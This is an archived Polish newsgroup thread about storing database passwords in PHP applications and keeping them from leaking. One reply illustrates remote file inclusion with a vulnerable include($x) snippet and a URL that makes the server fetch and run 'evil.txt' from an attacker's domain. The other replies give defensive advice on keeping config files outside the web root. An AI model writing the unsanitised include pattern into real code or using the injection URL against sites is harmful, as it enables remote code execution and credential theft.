🚀 go-pugleaf

W dniu 03.11.2017 o 17:13, denat 'POPIS/EU pisze:
> gdzie trzymacie hasła do bazy?

w plikach php

> jeśli w pliku php to jaka jest możliwość wycieku takiego hasła?

jeżeli serwis jest podatny np. na php injection to włamywacz odczyta 
wszystko to, co mu się podoba.

> czy można dać 700 na plik z hasłem - czy będzie on dostępny?

masz usera, który jest właścicielem pliku
masz usera, który wykonuje plik (www-data,apache2)

aby użytkownik, który wykonuje plik miał możliwość jego wykonania musi 
mieć możliwość jego odczytu.

-- 
Pozdrawiam
Lemat

> jeżeli serwis jest podatny np. na php injection to włamywacz odczyta 
> wszystko to, co mu się podoba.

dzięki, nie ogarniam
więc może po kolei

co to jest php iniection?

W dniu 03.11.2017 o 20:12, denat 'POPIS/EU pisze:
>> jeżeli serwis jest podatny np. na php injection to włamywacz odczyta 
>> wszystko to, co mu się podoba.
> 
> dzięki, nie ogarniam
> więc może po kolei
> 
> co to jest php iniection?

jeżeli nasz na serwerze skrypt typu:

<?PHP
include($x);
?>

to włamywacz konstruuje URL: 
http://www.twoja.strona.pl/skrypt.php?x=http://strona.wlamywacza.pl/evil.txt

w ten sposób twój serwer wykona skrypt włamywacza.

-- 
Pozdrawiam
Lemat

> <?PHP
> include($x);
> ?>

no tak dzięki

ale jeśmli mam tylko takie include("bank_dzolkow/hasla.php");

W dniu piątek, 3 listopada 2017 17:14:00 UTC+1 użytkownik denat 'POPIS/EU napisał:
> gdzie trzymacie hasła do bazy?
> jeśli w pliku php to jaka jest możliwość wycieku takiego hasła?
> czy można dać 700 na plik z hasłem - czy będzie on dostępny?


Musisz pamiętać o kilku szczegółach. 

1. Ważne by cały serwer szedł tylko i wyłącznie przez jeden plik dla całej aplikacji. Wtedy pozostałe pliki zabezpieczasz przez htaccess. 

2. Jak spełniasz 1 warunek to pliki konfiguracyjne umieszczasz poza webem.
 mniej więcej frameworki przyjmują taką strukturę

\web\index.php >> tutaj konfigurujemy apache jako serwer główny. Lub .htaccess
\config -> konfiguracja aplikacji
\controller -> obsługa zdarzeń
\db -> modele do bazy danych (można rozbić na dwa)
\model -> modele formów
\vendor -> zewnętrzne biblioteki php
\log -> logi aplikacji
\component -> własne moduły które wykorzystujemy w więcej niż jednej aplikacji.

\runtime -> cache aplikacji (np. szablony | style css(skompilowane) js. 

Popatrz sobie jak to wygląda w popularnych frameworkach yii / yii2 / symfony / codeingeren -> wszystko masz na github więc możesz spokojnie popatrzeć w kod. 

W dniu 03.11.2017 17:13, denat 'POPIS/EU pisze:
> gdzie trzymacie hasła do bazy?
> jeśli w pliku php to jaka jest możliwość wycieku takiego hasła?
> czy można dać 700 na plik z hasłem - czy będzie on dostępny?

Hasło do bazy należy trzymać w pliku umieszczonym w katalogu poza 
public_html (czy też htdocs), tzn. poza dostępem Apache'a. W katalogu 
public_html powinien znajdować się plik rozruchowy index.php wywołujący 
odpowiednie skrypty z katalogu aplikacji. Tak działają frameworki. Na 
początek proponuję CodeIgniter.

dzięki, serwer mam na hostingu

no żesz w ch...
genialny pomysł w sumie z tym umieszczeniem poza katalogiem
dz.

ale wracając do tematu - czy można jakoś wyssać ten plik z hasłem?

W dniu sobota, 4 listopada 2017 19:15:03 UTC+1 użytkownik denat 'POPIS/EU napisał:
> no żesz w ch...
> genialny pomysł w sumie z tym umieszczeniem poza katalogiem
> dz.
> 
> ale wracając do tematu - czy można jakoś wyssać ten plik z hasłem?

Dodatkowo możesz pokusić się o funkcję klasę zwracająca konfiguracje. tylko w przypadku gdy jest na przykład token .... jak ktoś zapyta o konfiguracje odwoła się do metody congig->getconig to dostanie błąd dostępu.  Dobrze było by mieć wszystkie ustawienia w zmiennych prywatnych i tylko za pomocą metod je czytac pisać .. aby każdy skrypt nie mógł przeglądać konfiguracji tylko tam gdzie jest to potrzebne.